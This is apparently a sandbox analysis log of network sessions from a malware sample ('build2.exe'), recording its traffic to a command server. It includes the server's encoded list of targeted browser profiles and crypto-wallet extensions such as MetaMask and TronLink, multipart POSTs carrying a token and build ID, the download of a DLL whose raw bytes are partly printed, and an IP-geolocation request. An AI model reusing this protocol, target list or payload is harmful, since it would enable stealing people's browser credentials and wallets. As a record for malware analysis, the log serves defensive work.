2024-04-24 10:07:15 UTC	1564	IN	Data Raw: 36 31 30 0d 0a 52 32 39 76 5a 32 78 6c 49 45 4e 6f 63 6d 39 74 5a 58 78 63 52 32 39 76 5a 32 78 6c 58 45 4e 6f 63 6d 39 74 5a 56 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 45 64 76 62 32 64 73 5a 53 42 44 61 48 4a 76 62 57 55 67 51 32 46 75 59 58 4a 35 66 46 78 48 62 32 39 6e 62 47 56 63 51 32 68 79 62 32 31 6c 49 46 4e 34 55 31 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 45 4e 6f 63 6d 39 74 61 58 56 74 66 46 78 44 61 48 4a 76 62 57 6c 31 62 56 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 45 46 74 61 57 64 76 66 46 78 42 62 57 6c 6e 62 31 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 46 52 76 63 6d 4e 6f 66 46 78 55 62 33 4a 6a 61 46 78 56 63 32 56 79 49 45 Data Ascii: 610R29vZ2xlIENocm9tZXxcR29vZ2xlXENocm9tZVxVc2VyIERhdGF8Y2hyb21lfEdvb2dsZSBDaHJvbWUgQ2FuYXJ5fFxHb29nbGVcQ2hyb21lIFN4U1xVc2VyIERhdGF8Y2hyb21lfENocm9taXVtfFxDaHJvbWl1bVxVc2VyIERhdGF8Y2hyb21lfEFtaWdvfFxBbWlnb1xVc2VyIERhdGF8Y2hyb21lfFRvcmNofFxUb3JjaFxVc2VyIE

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.5	49719	95.217.9.149	443	6656	C:\Users\user\AppData\Local\743db1f4-5a0f-4710-961e-486895a5b43a\build2.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-24 10:07:16 UTC	261	OUT	POST / HTTP/1.1 Content-Type: multipart/form-data; boundary=----FIECBFIDGDAKFHIEHJKF User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:109.0) Gecko/20100101 Firefox/115.0 Host: 95.217.9.149 Content-Length: 331 Connection: Keep-Alive Cache-Control: no-cache
2024-04-24 10:07:16 UTC	331	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 46 49 45 43 42 46 49 44 47 44 41 4b 46 48 49 45 48 4a 4b 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 62 33 35 35 31 31 39 36 30 31 34 62 35 33 63 37 37 37 32 31 62 30 66 36 37 37 32 38 30 34 64 62 0d 0a 2d 2d 2d 2d 2d 2d 46 49 45 43 42 46 49 44 47 44 41 4b 46 48 49 45 48 4a 4b 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 31 37 30 36 64 63 36 63 39 32 30 32 34 33 30 62 63 36 66 62 32 65 37 34 38 39 36 64 38 33 31 31 0d 0a 2d 2d 2d 2d 2d 2d 46 49 45 43 42 46 49 44 47 44 41 4b 46 48 49 45 48 4a 4b 46 0d 0a 43 6f 6e 74 Data Ascii: ------FIECBFIDGDAKFHIEHJKFContent-Disposition: form-data; name="token"b3551196014b53c77721b0f6772804db------FIECBFIDGDAKFHIEHJKFContent-Disposition: form-data; name="build_id"1706dc6c9202430bc6fb2e74896d8311------FIECBFIDGDAKFHIEHJKFCont
2024-04-24 10:07:17 UTC	158	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 24 Apr 2024 10:07:17 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close
2024-04-24 10:07:17 UTC	5165	IN	Data Raw: 31 34 32 30 0d 0a 54 57 56 30 59 55 31 68 63 32 74 38 4d 58 78 75 61 32 4a 70 61 47 5a 69 5a 57 39 6e 59 57 56 68 62 32 56 6f 62 47 56 6d 62 6d 74 76 5a 47 4a 6c 5a 6d 64 77 5a 32 74 75 62 6e 77 78 66 44 42 38 4d 48 78 4e 5a 58 52 68 54 57 46 7a 61 33 77 78 66 47 52 71 59 32 78 6a 61 32 74 6e 62 47 56 6a 61 47 39 76 59 6d 78 75 5a 32 64 6f 5a 47 6c 75 62 57 56 6c 62 57 74 69 5a 32 4e 70 66 44 46 38 4d 48 77 77 66 45 31 6c 64 47 46 4e 59 58 4e 72 66 44 46 38 5a 57 70 69 59 57 78 69 59 57 74 76 63 47 78 6a 61 47 78 6e 61 47 56 6a 5a 47 46 73 62 57 56 6c 5a 57 46 71 62 6d 6c 74 61 47 31 38 4d 58 77 77 66 44 42 38 56 48 4a 76 62 6b 78 70 62 6d 74 38 4d 58 78 70 59 6d 35 6c 61 6d 52 6d 61 6d 31 74 61 33 42 6a 62 6d 78 77 5a 57 4a 72 62 47 31 75 61 32 39 6c 62 Data Ascii: 1420TWV0YU1hc2t8MXxua2JpaGZiZW9nYWVhb2VobGVmbmtvZGJlZmdwZ2tubnwxfDB8MHxNZXRhTWFza3wxfGRqY2xja2tnbGVjaG9vYmxuZ2doZGlubWVlbWtiZ2NpfDF8MHwwfE1ldGFNYXNrfDF8ZWpiYWxiYWtvcGxjaGxnaGVjZGFsbWVlZWFqbmltaG18MXwwfDB8VHJvbkxpbmt8MXxpYm5lamRmam1ta3BjbmxwZWJrbG1ua29lb

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.5	49725	95.217.9.149	443	6656	C:\Users\user\AppData\Local\743db1f4-5a0f-4710-961e-486895a5b43a\build2.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-24 10:07:18 UTC	262	OUT	POST / HTTP/1.1 Content-Type: multipart/form-data; boundary=----GIJJKKJJDAAAAAKFHJJD User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:109.0) Gecko/20100101 Firefox/115.0 Host: 95.217.9.149 Content-Length: 7381 Connection: Keep-Alive Cache-Control: no-cache
2024-04-24 10:07:18 UTC	7381	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 47 49 4a 4a 4b 4b 4a 4a 44 41 41 41 41 41 4b 46 48 4a 4a 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 62 33 35 35 31 31 39 36 30 31 34 62 35 33 63 37 37 37 32 31 62 30 66 36 37 37 32 38 30 34 64 62 0d 0a 2d 2d 2d 2d 2d 2d 47 49 4a 4a 4b 4b 4a 4a 44 41 41 41 41 41 4b 46 48 4a 4a 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 31 37 30 36 64 63 36 63 39 32 30 32 34 33 30 62 63 36 66 62 32 65 37 34 38 39 36 64 38 33 31 31 0d 0a 2d 2d 2d 2d 2d 2d 47 49 4a 4a 4b 4b 4a 4a 44 41 41 41 41 41 4b 46 48 4a 4a 44 0d 0a 43 6f 6e 74 Data Ascii: ------GIJJKKJJDAAAAAKFHJJDContent-Disposition: form-data; name="token"b3551196014b53c77721b0f6772804db------GIJJKKJJDAAAAAKFHJJDContent-Disposition: form-data; name="build_id"1706dc6c9202430bc6fb2e74896d8311------GIJJKKJJDAAAAAKFHJJDCont
2024-04-24 10:07:19 UTC	158	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 24 Apr 2024 10:07:19 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close
2024-04-24 10:07:19 UTC	12	IN	Data Raw: 32 0d 0a 6f 6b 0d 0a 30 0d 0a 0d 0a Data Ascii: 2ok0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.5	49726	95.217.9.149	443	6656	C:\Users\user\AppData\Local\743db1f4-5a0f-4710-961e-486895a5b43a\build2.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-24 10:07:19 UTC	177	OUT	GET /sqln.dll HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:109.0) Gecko/20100101 Firefox/115.0 Host: 95.217.9.149 Connection: Keep-Alive Cache-Control: no-cache
2024-04-24 10:07:20 UTC	248	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 24 Apr 2024 10:07:20 GMT Content-Type: application/octet-stream Content-Length: 2459136 Last-Modified: Sun, 14 Apr 2024 18:52:51 GMT Connection: close ETag: "661c2603-258600" Accept-Ranges: bytes
2024-04-24 10:07:20 UTC	16136	IN	Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 1e d2 37 9f 5a b3 59 cc 5a b3 59 cc 5a b3 59 cc 11 cb 5a cd 6e b3 59 cc 11 cb 5c cd cf b3 59 cc 11 cb 5d cd 7f b3 59 cc 11 cb 58 cd 59 b3 59 cc 5a b3 58 cc d8 b3 59 cc 4f cc 5c cd 45 b3 59 cc 4f cc 5d cd 55 b3 59 cc 4f cc 5a cd 4c b3 59 cc 6c 33 5d cd 5b b3 59 cc 6c 33 59 cd 5b b3 59 cc 6c 33 a6 cc 5b b3 59 cc 6c 33 5b cd 5b b3 59 cc 52 69 63 68 5a b3 59 cc 00 00 00 00 00 00 00 Data Ascii: MZ@!L!This program cannot be run in DOS mode.$7ZYZYZYZnY\Y]YXYYZXYO\EYO]UYOZLYl3][Yl3Y[Yl3[Yl3[[YRichZY
2024-04-24 10:07:20 UTC	16384	IN	Data Raw: cd 1e 00 e9 ba 58 1d 00 e9 7e 65 1b 00 e9 1b f0 1c 00 e9 01 21 1c 00 e9 b9 2a 1f 00 e9 d7 46 00 00 e9 92 83 17 00 e9 c5 ed 1e 00 e9 e8 57 03 00 e9 fa 7c 1b 00 e9 3e e1 00 00 e9 bd f4 1a 00 e9 b4 7c 00 00 e9 bf ca 1c 00 e9 4c db 1a 00 e9 31 31 1a 00 e9 34 e5 1c 00 e9 36 f1 1d 00 cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc Data Ascii: X~e!*FW\|>\|L1146
2024-04-24 10:07:21 UTC	16384	IN	Data Raw: 74 12 8a 50 01 3a 51 01 75 0e 83 c0 02 83 c1 02 84 d2 75 e4 33 c0 eb 05 1b c0 83 c8 01 85 c0 74 15 83 c6 0c 47 81 fe c0 03 00 00 72 bf 5f 5e b8 0c 00 00 00 5b c3 8d 0c 7f 8b 14 8d 38 25 24 10 8d 04 8d 34 25 24 10 85 d2 75 09 8b 10 89 14 8d 38 25 24 10 8b 4c 24 18 85 c9 5f 0f 44 ca 5e 89 08 33 c0 5b c3 cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc 56 8b 74 24 08 57 33 ff 8b 46 0c 85 c0 74 0a 50 ff 15 68 20 24 10 83 c4 04 53 6a 02 6a ff ff 74 24 1c 56 e8 78 0c 15 00 8b d8 83 c4 10 85 db 74 21 6a 00 ff 74 24 24 ff 74 24 24 ff 74 24 24 53 56 e8 9a 68 04 00 53 56 8b f8 e8 51 39 10 00 83 c4 20 80 7e 57 00 5b Data Ascii: tP:Quu3tGr_^[8%$4%$u8%$L$_D^3[Vt$W3FtPh $Sjjt$Vxt!jt$$t$$t$$SVhSVQ9 ~W[
2024-04-24 10:07:21 UTC	16384	IN	Data Raw: be 0e 83 f9 30 7d e9 89 74 24 74 81 e3 ff ff ff 7f 89 5c 24 30 83 f9 6c 75 35 4e 0f be 4e 01 46 89 74 24 74 85 c9 0f 85 f0 fd ff ff eb 21 0f be 4e 01 46 c6 44 24 37 01 89 74 24 74 83 f9 6c 75 0e 0f be 4e 01 46 89 74 24 74 c6 44 24 37 02 8b 44 24 38 33 f6 89 44 24 58 ba 70 53 21 10 c7 44 24 50 70 53 21 10 c6 44 24 2e 11 0f be 02 3b c8 74 16 83 c2 06 46 81 fa fa 53 21 10 7c ed 8a 4c 24 2e 8b 54 24 50 eb 19 8d 04 76 8a 0c 45 73 53 21 10 8d 14 45 70 53 21 10 89 54 24 50 88 4c 24 2e 0f b6 c1 83 f8 10 0f 87 d9 14 00 00 ff 24 85 24 e1 00 10 c6 44 24 37 01 c6 44 24 43 00 f6 42 02 01 0f 84 97 00 00 00 80 7c 24 2d 00 74 44 8b 74 24 70 8b 56 04 39 16 7f 22 0f 57 c0 66 0f 13 44 24 68 8b 4c 24 6c 8b 74 24 68 8a 54 24 35 89 74 24 28 89 4c 24 58 e9 f4 00 00 00 8b 46 08 Data Ascii: 0}t$t\$0lu5NNFt$t!NFD$7t$tluNFt$tD$7D$83D$XpS!D$PpS!D$.;tFS!\|L$.T$PvEsS!EpS!T$PL$.$$D$7D$CB\|$-tDt$pV9"WfD$hL$lt$hT$5t$(L$XF
2024-04-24 10:07:21 UTC	16384	IN	Data Raw: 24 14 3b c8 73 06 eb 0e 8b 44 24 14 8b c8 89 44 24 20 89 54 24 24 a1 08 22 24 10 03 44 24 10 99 8b f8 8b ea 85 f6 0f 85 6b 01 00 00 3b 6c 24 24 0f 8f 91 00 00 00 7c 08 3b f9 0f 83 87 00 00 00 8b 44 24 10 99 6a 00 8b ca c7 44 24 48 00 00 00 00 8d 54 24 48 89 44 24 38 52 51 50 55 57 89 4c 24 50 e8 38 3a ff ff 40 50 8b 44 24 34 50 8b 80 dc 00 00 00 ff d0 8b f0 83 c4 10 85 f6 75 1e 8b 54 24 1c 8b 44 24 44 55 57 ff 74 24 18 8b 0a ff 70 04 52 8b 41 0c ff d0 83 c4 14 8b f0 8b 44 24 44 85 c0 74 09 50 e8 dd f4 12 00 83 c4 04 03 7c 24 34 8b 4c 24 20 13 6c 24 38 85 f6 0f 84 6a ff ff ff e9 d0 00 00 00 8b 7c 24 1c 8d 4c 24 38 51 57 8b 07 8b 40 18 ff d0 8b f0 83 c4 08 85 f6 0f 85 b2 00 00 00 8b 4c 24 2c 39 4c 24 3c 7c 1e 7f 0a 8b 44 24 14 39 44 24 38 76 12 8b 07 51 ff Data Ascii: $;sD$D$ T$$"$D$k;l$$\|;D$jD$HT$HD$8RQPUWL$P8:@PD$4PuT$D$DUWt$pRAD$DtP\|$4L$ l$8j\|$L$8QW@L$,9L$<\|D$9D$8vQ
2024-04-24 10:07:21 UTC	16384	IN	Data Raw: 00 00 33 ff c7 40 0c 00 00 00 00 66 c7 40 11 01 00 8b 44 24 10 56 89 46 40 e8 3a 27 0d 00 83 c4 04 8b f0 eb 08 8b 7c 24 10 8b 74 24 0c 85 ff 0f 84 9d 00 00 00 83 47 10 ff 0f 85 93 00 00 00 ff 4b 3c 83 7f 08 01 75 0d 83 7f 0c 00 75 07 c7 43 1c ff ff ff ff 8b 07 85 c0 74 0e 50 53 e8 46 87 0a 00 83 c4 08 85 c0 75 0a 57 53 e8 38 88 0a 00 83 c4 08 57 53 e8 5e 81 0a 00 83 c4 08 83 3d 18 20 24 10 00 74 42 a1 38 82 24 10 85 c0 74 0a 50 ff 15 68 20 24 10 83 c4 04 57 ff 15 44 20 24 10 29 05 d0 81 24 10 ff 0d f4 81 24 10 57 ff 15 3c 20 24 10 a1 38 82 24 10 83 c4 08 85 c0 74 13 50 ff 15 70 20 24 10 eb 07 57 ff 15 3c 20 24 10 83 c4 04 53 e8 a0 17 0d 00 83 c4 04 8b c6 5f 5e 5b 8b e5 5d c3 cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc Data Ascii: 3@f@D$VF@:'\|$t$GK<uuCtPSFuWS8WS^= $tB8$tPh $WD $)$$W< $8$tPp $W< $S_^[]
2024-04-24 10:07:21 UTC	16384	IN	Data Raw: ff ff 0f b7 86 90 00 00 00 8b de 8b 54 24 10 8b 4c 24 24 8b 6c 24 20 89 47 10 8b 86 98 00 00 00 c1 e8 06 83 e0 01 89 54 24 10 89 47 14 80 bb 97 00 00 00 02 89 4c 24 14 0f 85 c8 fe ff ff b8 01 00 00 00 89 4c 24 14 89 54 24 10 e9 b8 fe ff ff 5f 5e 5d b8 07 00 00 00 5b 83 c4 18 c3 5f 5e 5d 33 c0 5b 83 c4 18 c3 cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc Data Ascii: T$L$$l$ GT$GL$L$T$_^][_^]3[
2024-04-24 10:07:21 UTC	16384	IN	Data Raw: cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc 56 8b 74 24 08 57 8b 7c 24 14 8b 46 10 8b 56 0c 8d 0c 80 8b 42 68 ff 74 88 fc ff 77 04 ff 37 e8 ac f3 11 00 83 c4 0c 85 c0 74 0b ff 37 56 e8 d3 67 fe ff 83 c4 08 5f 5e c3 cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc 6a 00 6a 01 6a ff 68 2c 67 21 10 ff 74 24 14 e8 bc d7 0d 00 83 c4 14 c3 cc cc cc cc cc cc cc cc 6a 00 6a 01 6a ff 68 Data Ascii: Vt$W\|$FVBhtw7t7Vg_^jjjh,g!t$jjjh
2024-04-24 10:07:21 UTC	16384	IN	Data Raw: 71 14 8b 41 08 f7 76 34 8b 46 38 8d 14 90 8b 02 3b c1 74 0d 0f 1f 40 00 8d 50 10 8b 02 3b c1 75 f7 8b 40 10 89 02 ff 4e 30 66 83 79 0c 00 8b 71 14 74 10 8b 46 3c 89 41 10 8b 46 04 89 4e 3c 5e ff 08 c3 ff 31 e8 6e 5a 0a 00 8b 46 04 83 c4 04 ff 08 5e c3 cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc 8b 4c 24 04 8b 54 24 10 56 57 8b 71 0c 85 f6 74 3c 8b 06 83 f8 01 74 1f 83 f8 02 74 1a 83 f8 05 74 15 33 ff 83 f8 03 75 26 bf 01 00 00 00 85 d7 74 1d 5f 33 c0 5e c3 83 7c 24 10 01 75 f4 83 7c 24 14 01 75 ed 5f b8 05 00 00 00 5e c3 33 ff 8b 41 04 52 ff 74 24 18 8b 08 ff 74 24 18 50 8b 41 38 ff d0 83 c4 10 85 ff 74 1c 85 c0 75 18 8b 4c 24 14 ba 01 00 00 00 d3 e2 8b 4c 24 10 4a d3 e2 09 96 c4 00 00 00 5f Data Ascii: qAv4F8;t@P;u@N0fyqtF<AFN<^1nZF^L$T$VWqt<ttt3u&t_3^\|$u\|$u_^3ARt$t$PA8tuL$L$J_
2024-04-24 10:07:21 UTC	16384	IN	Data Raw: cc cc cc cc cc cc cc cc 56 8b 74 24 08 57 8b 46 0c 85 c0 74 0a 50 ff 15 68 20 24 10 83 c4 04 6a 00 6a 00 68 50 45 24 10 68 e8 40 22 10 56 e8 25 83 14 00 83 c4 14 80 7e 57 00 75 04 33 ff eb 0d 6a 00 56 e8 d0 b5 01 00 83 c4 08 8b f8 8b 46 0c 85 c0 74 0a 50 ff 15 70 20 24 10 83 c4 04 8b c7 5f 5e c3 cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc 53 56 57 8b 7c 24 10 ff b7 dc 00 00 00 e8 6d f6 fd ff 83 c4 04 8d 77 3c bb 28 00 00 00 0f 1f 00 ff 36 e8 58 f6 fd ff 83 c4 04 8d 76 04 83 eb 01 75 ee 8b b7 f8 00 00 00 85 f6 74 54 39 1d 18 20 24 10 74 42 a1 38 82 24 10 85 c0 74 0a 50 ff 15 68 20 24 10 83 c4 04 56 ff 15 44 20 24 10 29 05 d0 81 24 10 ff 0d f4 81 24 10 56 ff 15 3c 20 24 10 a1 38 82 24 10 83 Data Ascii: Vt$WFtPh $jjhPE$h@"V%~Wu3jVFtPp $_^SVW\|$mw<(6XvutT9 $tB8$tPh $VD $)$$V< $8$

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.5	49727	95.217.9.149	443	6656	C:\Users\user\AppData\Local\743db1f4-5a0f-4710-961e-486895a5b43a\build2.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-24 10:07:23 UTC	261	OUT	POST / HTTP/1.1 Content-Type: multipart/form-data; boundary=----AAKJKJDGCGDBGDHIJKJE User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:109.0) Gecko/20100101 Firefox/115.0 Host: 95.217.9.149 Content-Length: 829 Connection: Keep-Alive Cache-Control: no-cache
2024-04-24 10:07:23 UTC	829	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 41 41 4b 4a 4b 4a 44 47 43 47 44 42 47 44 48 49 4a 4b 4a 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 62 33 35 35 31 31 39 36 30 31 34 62 35 33 63 37 37 37 32 31 62 30 66 36 37 37 32 38 30 34 64 62 0d 0a 2d 2d 2d 2d 2d 2d 41 41 4b 4a 4b 4a 44 47 43 47 44 42 47 44 48 49 4a 4b 4a 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 31 37 30 36 64 63 36 63 39 32 30 32 34 33 30 62 63 36 66 62 32 65 37 34 38 39 36 64 38 33 31 31 0d 0a 2d 2d 2d 2d 2d 2d 41 41 4b 4a 4b 4a 44 47 43 47 44 42 47 44 48 49 4a 4b 4a 45 0d 0a 43 6f 6e 74 Data Ascii: ------AAKJKJDGCGDBGDHIJKJEContent-Disposition: form-data; name="token"b3551196014b53c77721b0f6772804db------AAKJKJDGCGDBGDHIJKJEContent-Disposition: form-data; name="build_id"1706dc6c9202430bc6fb2e74896d8311------AAKJKJDGCGDBGDHIJKJECont
2024-04-24 10:07:24 UTC	158	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 24 Apr 2024 10:07:24 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close
2024-04-24 10:07:24 UTC	15	IN	Data Raw: 35 0d 0a 62 6c 6f 63 6b 0d 0a 30 0d 0a 0d 0a Data Ascii: 5block0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.2.5	49729	172.67.139.220	443	6136	C:\Users\user\AppData\Local\20f61a03-333f-4f7c-b968-f4899d3e37c5\Z4CYGTBlj7.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-24 10:07:40 UTC	85	OUT	GET /geo.json HTTP/1.1 User-Agent: Microsoft Internet Explorer Host: api.2ip.ua
2024-04-24 10:07:41 UTC	910	IN	HTTP/1.1 429 Too Many Requests Date: Wed, 24 Apr 2024 10:07:40 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close strict-transport-security: max-age=63072000; preload x-frame-options: SAMEORIGIN x-content-type-options: nosniff x-xss-protection: 1; mode=block; report=... access-control-allow-origin: * access-control-allow-methods: POST, GET, PUT, OPTIONS, PATCH, DELETE access-control-allow-headers: X-Accept-Charset,X-Accept,Content-Type CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=7s%2FuU9KmlEOXJgrG2nv5Ob27%2BnKfG3w0PxFdoLy1hEAVPkAfwemYMTvEoW8xHoRBar9vEtNsdZy0DsYtPYTwZPsJypgTcWy4iUNN0QPbPERXwhCQOdJi6ELlplIP"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 879549a65e8b52e9-LAX alt-svc: h3=":443"; ma=86400
2024-04-24 10:07:41 UTC	459	IN	Data Raw: 33 39 62 0d 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 68 72 65 66 3d 22 63 6c 61 73 73 65 73 2f 73 74 79 6c 65 2e 63 73 73 22 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 20 2f 3e 3c 64 69 76 20 63 6c 61 73 73 3d 22 65 72 72 6f 72 22 3e 0a 4c 69 6d 69 74 20 6f 66 20 72 65 74 75 72 6e 65 64 20 6f 62 6a 65 63 74 73 20 68 61 73 20 62 65 65 6e 20 72 65 61 63 68 65 64 2e 20 46 6f 72 20 6d 6f 72 65 20 69 6e 66 6f 72 6d 61 74 69 6f 6e 20 70 6c 65 61 73 65 20 63 6f 6e 74 61 63 74 20 62 79 20 65 6d 61 69 6c 20 3c 61 20 68 72 65 66 3d 22 2f 63 64 6e 2d 63 67 69 2f 6c 2f 65 6d 61 69 6c 2d 70 72 6f 74 65 63 74 69 6f 6e 23 36 65 30 36 30 62 30 32 31 65 32 65 35 63 30 37 31 65 34 30 30 33 30 62 35 31 31 64 31 62 30 63 30 34 30 62 30 64 Data Ascii: 39b<link rel="stylesheet" href="classes/style.css" type="text/css" /><div class="error">Limit of returned objects has been reached. For more information please contact by email <a href="/cdn-cgi/l/email-protection#6e060b021e2e5c071e40030b511d1b0c040b0d
2024-04-24 10:07:41 UTC	471	IN	Data Raw: d0 b0 d0 b7 d0 b5 20 d0 b4 d0 b0 d0 bd d0 bd d1 8b d1 85 2e 20 d0 94 d0 bb d1 8f 20 d0 bf d0 be d0 bb d1 83 d1 87 d0 b5 d0 bd d0 b8 d1 8f 20 d0 b4 d0 be d0 bf d0 be d0 bb d0 bd d0 b8 d1 82 d0 b5 d0 bb d1 8c d0 bd d0 be d0 b9 20 d0 b8 d0 bd d1 84 d0 be d1 80 d0 bc d0 b0 d1 86 d0 b8 d0 b8 2c 20 d0 bf d0 be d0 b6 d0 b0 d0 bb d1 83 d0 b9 d1 81 d1 82 d0 b0 2c 20 d0 be d0 b1 d1 80 d0 b0 d1 89 d0 b0 d0 b9 d1 82 d0 b5 63 d1 8c 20 d0 bf d0 be 20 d0 b0 d0 b4 d1 80 d0 b5 d1 81 d1 83 20 3c 61 20 68 72 65 66 3d 22 2f 63 64 6e 2d 63 67 69 2f 6c 2f 65 6d 61 69 6c 2d 70 72 6f 74 65 63 74 69 6f 6e 23 38 32 65 61 65 37 65 65 66 32 63 32 62 30 65 62 66 32 61 63 66 37 65 33 62 64 66 31 66 37 65 30 65 38 65 37 65 31 66 36 62 66 62 30 65 62 66 32 61 63 66 37 65 33 22 3e 3c 73 Data Ascii: . , , c <a href="/cdn-cgi/l/email-protection#82eae7eef2c2b0ebf2acf7e3bdf1f7e0e8e7e1f6bfb0ebf2acf7e3"><s
2024-04-24 10:07:41 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Target ID:	0
Start time:	12:06:55
Start date:	24/04/2024
Path:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\Z4CYGTBlj7.exe"
Imagebase:	0x400000
File size:	799'232 bytes
MD5 hash:	F4C37292B365C19E6D2FEEB6A17C4049
Has elevated privileges:	true
